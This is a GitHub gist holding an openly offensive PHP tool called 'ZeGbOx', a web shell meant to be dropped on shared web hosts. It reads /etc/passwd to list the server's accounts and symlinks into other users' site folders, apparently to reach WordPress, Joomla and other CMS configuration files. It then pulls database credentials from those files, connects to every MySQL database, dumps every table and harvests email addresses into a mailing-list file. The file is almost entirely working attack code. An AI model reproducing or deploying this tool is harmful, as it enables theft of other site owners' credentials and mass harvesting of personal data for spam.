Created
December 7, 2017 02:25
-
-
Save MesterFri/398d9ee620784e13155010317d17956f to your computer and use it in GitHub Desktop.
ZeGbOx Y3.0a Script Extract maillist in Databases Developed By MesterFri
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
error_reporting(0); | |
session_start(); | |
ob_start(); | |
function MnIndx($xClass) { | |
if (!empty($_SESSION['ZeGbOx_mOde'])) { | |
switch ($_SESSION['ZeGbOx_mOde']) { | |
case 'ZeDef_Fri': | |
switch ($xClass) { | |
case 0: | |
$_xClass=0; | |
break; | |
case 1: | |
$_xClass=1; | |
break; | |
case 2: | |
$_xClass=2; | |
break; | |
} | |
break; | |
case 'ZeSmt_Fri': | |
switch ($xClass) { | |
case 0: | |
$_xClass=2; | |
break; | |
case 1: | |
$_xClass=0; | |
break; | |
case 2: | |
$_xClass=1; | |
break; | |
} | |
break; | |
case 'ZeMeth_Fri': | |
switch ($xClass) { | |
case 0: | |
$_xClass=1; | |
break; | |
case 1: | |
$_xClass=2; | |
break; | |
case 2: | |
$_xClass=0; | |
break; | |
} | |
break; | |
} | |
}else $_xClass=$xClass; | |
return $_xClass; | |
} | |
function EnterOrRef($sEsS,$mOdPost) { | |
if (!empty($sEsS)) { | |
switch ($sEsS) { | |
case 'ZeDef_Fri': | |
if ($mOdPost=='mDef') return 1; | |
else return 0; | |
break; | |
case 'ZeSmt_Fri': | |
if ($mOdPost=='mSrt') return 1; | |
else return 0; | |
break; | |
default: | |
return 0; | |
break; | |
} | |
}else{ | |
return 3; | |
} | |
} | |
//EnterOrRef($_SESSION['ZeGbOx_mOde'],$_POST['SmOde']) | |
function FConfg ($uZer='') { | |
$_hOme[]='/home/'; | |
$_hOme[]='/var/'; | |
$_Pub[]='/public_html'; | |
$_Pub[]='/www'; | |
for ($i=0;$i<count($_hOme);$i++) { | |
if (count(explode($_hOme[$i],getcwd()))>1) { | |
break; | |
}elseif ($i==count($_hOme)-1) { | |
$i=FALSE; | |
break; | |
}else{ | |
continue; | |
} | |
} | |
for ($j=0;$j<count($_Pub);$j++) { | |
if (count(explode($_Pub[$j],getcwd()))>1) { | |
break; | |
}elseif ($j==count($_Pub)-1) { | |
$_Pub[$j]='/public_html'; | |
break; | |
}else{ | |
continue; | |
} | |
} | |
if ($i!==FALSE && function_exists('symlink')==TRUE) { | |
if (!empty($uZer)) { | |
$drCon=array('wp-config.php', 'wp/wp-config.php', 'WP/wp-config.php', 'wordpress/wp-config.php', 'Wordpress/wp-config.php', 'news/wp-config.php', 'new/wp-config.php', 'blog/wp-config.php', 'blogs/wp-config.php', 'dbconfig.php', 'include/dbconfig.php', 'includes/dbconfig.php', 'admin/config.php', 'libs/dbconnect.php', 'includes/configure.php', 'os/includes/configure.php', 'oscom/includes/configure.php', 'oscommerce/includes/configure.php', 'oscommerces/includes/configure.php', 'shop/includes/configure.php', 'shopping/includes/configure.php', 'sale/includes/configure.php', 'amember/config.TXT.php', 'config.TXT.php', 'members/configuration.php', 'config.php', 'forum/includes/config.php', 'forums/includes/config.php', 'admin/conf.php', 'arcade/functions/dbclass.php', 'joomla/configuration.php', 'protal/configuration.php', 'joo/configuration.php', 'cms/configuration.php', 'site/configuration.php', 'main/configuration.php', 'news/configuration.php', 'new/configuration.php', 'home/configuration.php', 'config.php', 'connect.php', 'include/config.php', 'members/configuration.php', 'config.php', 'forum/Settings.php', 'forums/Settings.php', 'include/db.php', 'connect.php', 'includes/config.php', 'config.php', 'sites/default/settings.php'); | |
for ($x=0;$x<count($drCon);$x++) { | |
symlink($_hOme[$i].$uZer.$_Pub[$j].'/', $x.'-Fri.TXT'); | |
} | |
return NULL; | |
}else return TRUE; | |
}else return FALSE; | |
} | |
function nUmClass01($nUm) { | |
if (($nUm%2)==0) return '0'; else return '1'; | |
} | |
function ref() { | |
header('location: ?'); | |
exit(); | |
ob_end_flush(); | |
} | |
$_nAme="ZeGbOx"; | |
$_vErs="Y3.0a"; | |
$_rIght="MesterFri"; | |
$_FlRes="ZeGbOx_ResFri.html"; | |
$vMode[MnIndx(0)]='mDef'; | |
$vMode[MnIndx(1)]='mSrt'; | |
$vMode[MnIndx(2)]='mMeth'; | |
$aFMode[MnIndx(0)]='Default'; | |
$aFMode[MnIndx(1)]='Smart Extract'; | |
$aFMode[MnIndx(2)]='Method'; | |
// etc/passwd | |
$_eTcPaSs='/etc/passwd'; | |
echo '<font color="#2F0000">'.$_rIght.' - '.$_nAme.' '.$_vErs.'</font><br>'; | |
if (file_exists($_FlRes)) $oPnLis=fopen($_FlRes,"a+"); | |
else{ | |
$oPnLis=fopen($_FlRes,"a+"); | |
fwrite($oPnLis, '<!DOCTYPE html> | |
<html> | |
<head> | |
<title>Maillist - '.$_nAme.' '.$_vErs.' By '.$_rIght.'</title> | |
<style type="text/css"> | |
body{ | |
background-color: #000; | |
font-family: Arial; | |
text-align: center; | |
color: #FF0000; | |
} | |
table{ | |
border-radius: 10px; | |
width: 100%; | |
} | |
h1{ | |
color: #FF0000; | |
} | |
.TimS{ | |
color: #FFF; | |
} | |
.mAiL0{ | |
background-color: #2F0000; | |
color: #00FF00; | |
} | |
.mAiL1{ | |
background-color: #100000; | |
color: #FF0000; | |
} | |
.mAiL0:hover,.mAiL1:hover{ | |
background-color: #6F00D2; | |
color: #FFF; | |
} | |
.mAiL0:active,.mAiL1:hover{ | |
background-color: #6F00D2; | |
color: #FFF; | |
} | |
.ErrOr{ | |
background-color: #FF0000; | |
color: #FFF; | |
} | |
</style> | |
</head> | |
<table border="1"> | |
<tr> | |
<td> | |
<h1>'.$_nAme.' '.$_vErs.' By '.$_rIght.'<br><font color="#FFF">( Maillist )</font></h1> | |
</td> | |
</tr>'); | |
} | |
?> | |
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="windows-1252"> | |
<title><?php echo $_nAme.' '.$_vErs.' By '.$_rIght; ?></title> | |
<style type="text/css"> | |
body{ | |
background-color: #2F0000; | |
font-family: Arial; | |
color: #00FF00; | |
} | |
table{ | |
background-color: #100000; | |
border: 1px #00FF00 solid; | |
} | |
td{ | |
border: 1px #00FF00 solid; | |
width: 350px; | |
} | |
tr{ | |
border: 1px #00FF00 solid; | |
} | |
.TopTD{ | |
height: 100px; | |
} | |
.iNdxZeG{ | |
font-size: 13px; | |
color: #FF0000; | |
} | |
.SelEctMode{ | |
background-color: #2F0000; | |
border: 1px #FF0000 solid; | |
color: #01B468; | |
} | |
.testx{ | |
background-color: #2F0000; | |
color: #01B468; | |
} | |
.EnTrInF{ | |
background-color: #2F0000; | |
border: 1px #FF0000 solid; | |
text-indent: 6px; | |
color: #01B468; | |
width: 200px; | |
} | |
.sUbN{ | |
background-color: #000; | |
border: 1px #FF0000 solid; | |
border-radius: 5px; | |
color: #01B468; | |
width: 70px; | |
height: 30px; | |
} | |
h3{ | |
color: #FF0000; | |
} | |
textarea{ | |
background-color: #100000; | |
border: 1px #01B468 solid; | |
font-size: 15px; | |
color: #FF0000; | |
width: 350px; | |
height: 207px; | |
} | |
.FilTr{ | |
font-size: 14px; | |
color: #01B468; | |
} | |
.mSgResEr{ | |
font-size: 13px; | |
color: #00FF00; | |
} | |
.ResLtEm{ | |
background-color: #100000; | |
border: 0px #000 solid; | |
font-size: 13px; | |
text-decoration: none; | |
color: #FF0000; | |
} | |
.ResLtEm:hover{ | |
background-color: #100000; | |
border: 0px #000 solid; | |
font-size: 13px; | |
text-decoration: none; | |
color: #FFF; | |
} | |
.ResLtEm:active{ | |
background-color: #100000; | |
border: 0px #000 solid; | |
font-size: 13px; | |
text-decoration: none; | |
color: #FF0000; | |
} | |
</style> | |
<script language="JavaScript"> | |
function OpRes() { | |
window["open"]("<?php echo $_FlRes; ?>"); | |
} | |
</script> | |
</head> | |
<table align="center" border="3"> | |
<tr> | |
<td colspan="2" align="center" class="TopTD"> | |
<h1>Extract Maillist In Databases<br>( <?php echo $_nAme; ?> )</h1> | |
</td> | |
</tr> | |
<tr> | |
<td align="center"> | |
<?php | |
if (!empty($_SESSION['ZeGbOx_mOde']) && $_SESSION['ZeGbOx_mOde']=='ZeSmt_Fri') { | |
?> | |
<h3>Smart Robot <?php echo $_vErs; ?> (Beta)</h3> | |
<?php | |
} | |
?> | |
<form method="post"> | |
<?php | |
if (!empty($_SESSION['ZeGbOx_mOde'])) { | |
?> | |
Mode | |
<select name="SmOde" class="SelEctMode"> | |
<?php | |
for ($sFri=0;$sFri<3;$sFri++) { | |
echo '<option value="'.$vMode[$sFri].'" class="testx">'.$aFMode[$sFri].'</option>'; | |
} | |
?> | |
</select> | |
<br> | |
<br> | |
<?php | |
} | |
if (!empty($_SESSION['ZeGbOx_mOde']) && $_SESSION['ZeGbOx_mOde']=='ZeDef_Fri') { | |
?> | |
Host <input type="text" name="lOcHoSt" class="EnTrInF"/> | |
<br> | |
Login <input type="text" name="uZer" class="EnTrInF"/> | |
<br> | |
Password <input type="password" name="PaSs" class="EnTrInF"/> | |
<br> | |
Filter <input type="radio" value="FiltFri" name="InFilter"><font class="FilTr">Yes</font> <input type="radio" value="" name="InFilter" checked><font class="FilTr">No</font> | |
<br> | |
<br> | |
<?php | |
}else if (!empty($_SESSION['ZeGbOx_mOde']) && $_SESSION['ZeGbOx_mOde']=='ZeSmt_Fri') { | |
?> | |
Filter <input type="radio" value="FiltFri" name="InFilter"><font class="FilTr">Yes</font> <input type="radio" value="" name="InFilter" checked><font class="FilTr">No</font> | |
<br> | |
<br> | |
<?php | |
}else if (!empty($_SESSION['ZeGbOx_mOde']) && $_SESSION['ZeGbOx_mOde']=='ZeMeth_Fri') { | |
?> | |
<iframe allow="encrypted-media" allowfullscreen="" gesture="media" src="https://www.youtube.com/embed/3RoH0tD2vbM" frameborder="0" style="width: 350px;height: 100px;"></iframe> | |
<?php | |
}else{ | |
?> | |
<img src="http://www2.0zz0.com/2017/12/07/05/135686472.png" width="307" height="70"/> | |
<div align="left" class="iNdxZeG"> | |
~ <?php echo $_nAme.' '.$_vErs; ?><br> | |
~ Origin Script + Private Tool<br> | |
~ HackFri5@gmail.com<br> | |
~ Good Luck<br> | |
<br> | |
</div> | |
<?php | |
} | |
?> | |
<input type="submit" value="Start" name="StArDB" class="sUbN"/> | |
</form> | |
<?php | |
// Select Mode $_SESSION | |
if (isset($_POST['StArDB']) && !empty($_POST['SmOde']) && EnterOrRef($_SESSION['ZeGbOx_mOde'],$_POST['SmOde'])==0) { | |
switch ($_POST['SmOde']) { | |
case 'mDef': | |
$_SESSION['ZeGbOx_mOde']='ZeDef_Fri'; | |
break; | |
case 'mSrt': | |
$_SESSION['ZeGbOx_mOde']='ZeSmt_Fri'; | |
break; | |
case 'mMeth': | |
$_SESSION['ZeGbOx_mOde']='ZeMeth_Fri'; | |
break; | |
} | |
ref(); | |
}else if (isset($_POST['StArDB']) && empty($_POST['SmOde']) && empty($_SESSION['ZeGbOx_mOde'])) { | |
$_SESSION['ZeGbOx_mOde']='ZeDef_Fri'; | |
ref(); | |
} | |
if (isset($_POST['StArDB']) && !empty($_SESSION['ZeGbOx_mOde']) && ($_SESSION['ZeGbOx_mOde']!='ZeMeth_Fri') && EnterOrRef($_SESSION['ZeGbOx_mOde'],$_POST['SmOde'])==1) { | |
switch ($_SESSION['ZeGbOx_mOde']) { | |
case 'ZeDef_Fri': | |
$_tOOrNm=1; | |
$_iNf1[]=$_POST['lOcHoSt']; | |
$_iNf2[]=$_POST['uZer']; | |
$_iNf3[]=$_POST['PaSs']; | |
break; | |
case 'ZeSmt_Fri': | |
// SymLink | |
$_eTcPaSs=htmlspecialchars(file_get_contents($_eTcPaSs)); | |
if (!empty($_eTcPaSs) && FConfg()==TRUE) { | |
if (!is_dir('SyMbOx')) { | |
mkdir('SyMbOx',0777); | |
} | |
chdir('SyMbOx'); | |
$noSN=explode("\n",$_eTcPaSs); | |
foreach ($noSN as $OnenoSN) { | |
// SymLink | |
FConfg(explode(":",$OnenoSN)[0]); | |
} | |
// Extract Config | |
// Local | |
$_lOcalH[]="define('DB_HOST','"; | |
$_lOcalH[]="host='"; | |
$_lOcalH[]='db_host="'; | |
$_lOcalH[]="server='"; | |
// DB User | |
$_uZer[]="define('DB_USER','"; | |
$_uZer[]="user='"; | |
$_uZer[]='db_username="'; | |
$_uZer[]="user='"; | |
// PassWord | |
$_PaSs[]="define('DB_PASSWORD','"; | |
$_PaSs[]="password='"; | |
$_PaSs[]='db_password="'; | |
$_PaSs[]="password='"; | |
$_cOnfg=glob('*.TXT'); | |
for ($aFri=0;$aFri<count($_cOnfg);$aFri++) { | |
if ($OpConf=implode("",explode(" ",file_get_contents($_cOnfg[$aFri])))) { | |
for ($bFri=0;$bFri<count($_lOcalH);$bFri++) { | |
if (count($HoS=explode($_lOcalH[$bFri],$OpConf))>1 && count($Usr=explode($_uZer[$bFri],$OpConf))>1 && count($PaS=explode($_PaSs[$bFri],$OpConf))>1) { | |
switch ($bFri) { | |
case 0: | |
case 1: | |
case 3: | |
$FiNCoN="'"; | |
break; | |
default: | |
$FiNCoN='"'; | |
break; | |
} | |
$iNf1=htmlspecialchars(explode($FiNCoN,$HoS[1])[0]); | |
$iNf2=htmlspecialchars(explode($FiNCoN,$Usr[1])[0]); | |
$iNf3=htmlspecialchars(explode($FiNCoN,$PaS[1])[0]); | |
try { | |
$OpDB=new PDO('mysql:host='.$iNf1.';',$iNf2,$iNf3); | |
$OpDB=NULL; | |
$_iNf1[]=$iNf1; | |
$_iNf2[]=$iNf2; | |
$_iNf3[]=$iNf3; | |
} catch (PDOException $ef) {} | |
} | |
} | |
} | |
} | |
if (!empty($_iNf1[0])) $_tOOrNm=count($_iNf1); else $_tOOrNm=1; | |
}else{ | |
fwrite($oPnLis, "<tr><td class=\"ErrOr\">Error.. invalid /etc/passwd or function Symlink undefined</td></tr>\n"); | |
print('<font class="mSgResEr">Error.. invalid /etc/passwd or function Symlink undefined</font><br>'); | |
break; | |
} | |
break; | |
} | |
print('<font class="mSgResEr">All Results Has Been Saved to </font><input type="submit" value="'.$_FlRes.'" class="ResLtEm" OnClick="OpRes();"/>'); | |
} | |
?> | |
</td> | |
<td> | |
<textarea><?php | |
if (!empty($_SESSION['ZeGbOx_mOde']) && ($_SESSION['ZeGbOx_mOde']!='ZeMeth_Fri') && isset($_POST['StArDB']) && EnterOrRef($_SESSION['ZeGbOx_mOde'],$_POST['SmOde'])==1) { | |
try { | |
for ($tFri=0;$tFri<$_tOOrNm;$tFri++) { | |
$cOnCT=new PDO('mysql:host='.$_iNf1[$tFri].';',$_iNf2[$tFri],$_iNf3[$tFri]); | |
$aLlDB=$cOnCT->query('SHOW DATABASES;'); | |
$aLlDB->setFetchMode(PDO::FETCH_ASSOC); | |
if ($aLlDB->rowCount()!=0) { | |
while ($oNeDB=$aLlDB->fetch()) { | |
if ($oNeDB['Database']!='information_schema') { | |
$cOnCT->exec('USE `'.$oNeDB['Database'].'`;'); | |
$aLlTB=$cOnCT->query('SHOW TABLES;'); | |
$aLlTB->setFetchMode(PDO::FETCH_ASSOC); | |
if ($aLlTB->rowCount()!=0) { | |
while ($oNeTB=$aLlTB->fetch()) { | |
$cOlMn=$cOnCT->query('SELECT * FROM `'.$oNeTB['Tables_in_'.$oNeDB['Database']].'`'); | |
$cOlMn->setFetchMode(PDO::FETCH_ASSOC); | |
while ($aryCoL=$cOlMn->fetch()) { | |
$_c0LmFri=array_unique($aryCoL); | |
foreach ($_c0LmFri as $vExt) { | |
if (preg_match('/^[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9]+)+(\.[a-zA-Z0-9]+)*$/', $vExt)!=false) { | |
$_ListMl[]=$vExt; | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
$cOnCT=NULL; | |
} | |
} catch (PDOException $em) { | |
} | |
if (!empty($_ListMl[0])) { | |
fwrite($oPnLis, "<tr><td class=\"TimS\">".date('d/m/Y H:i:s')."</td></tr>\n"); | |
if (!empty($_POST['InFilter'])) { | |
$_ListMl=array_unique($_ListMl); | |
} | |
for ($vFri=0;$vFri<count($_ListMl);$vFri++) { | |
fwrite($oPnLis, "<tr><td class=\"mAiL".nUmClass01($vFri)."\">".$_ListMl[$vFri]."</td></tr>\n"); | |
echo $_ListMl[$vFri]."\n"; | |
} | |
}else{ | |
fwrite($oPnLis, "<tr><td class=\"ErrOr\">Error.. You Have 0 email...!</td></tr>\n"); | |
echo "\nYou Have 0 Email.."; | |
} | |
} | |
?> | |
</textarea> | |
</td> | |
</tr> | |
<tr> | |
<td colspan="2" align="center"> | |
Devloded By <?php echo $_rIght; ?> - Made in Morocco <?php print(date('Y')) ?> | |
</td> | |
</tr> | |
</table> | |
</html> | |
<?php | |
fclose($oPnLis); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment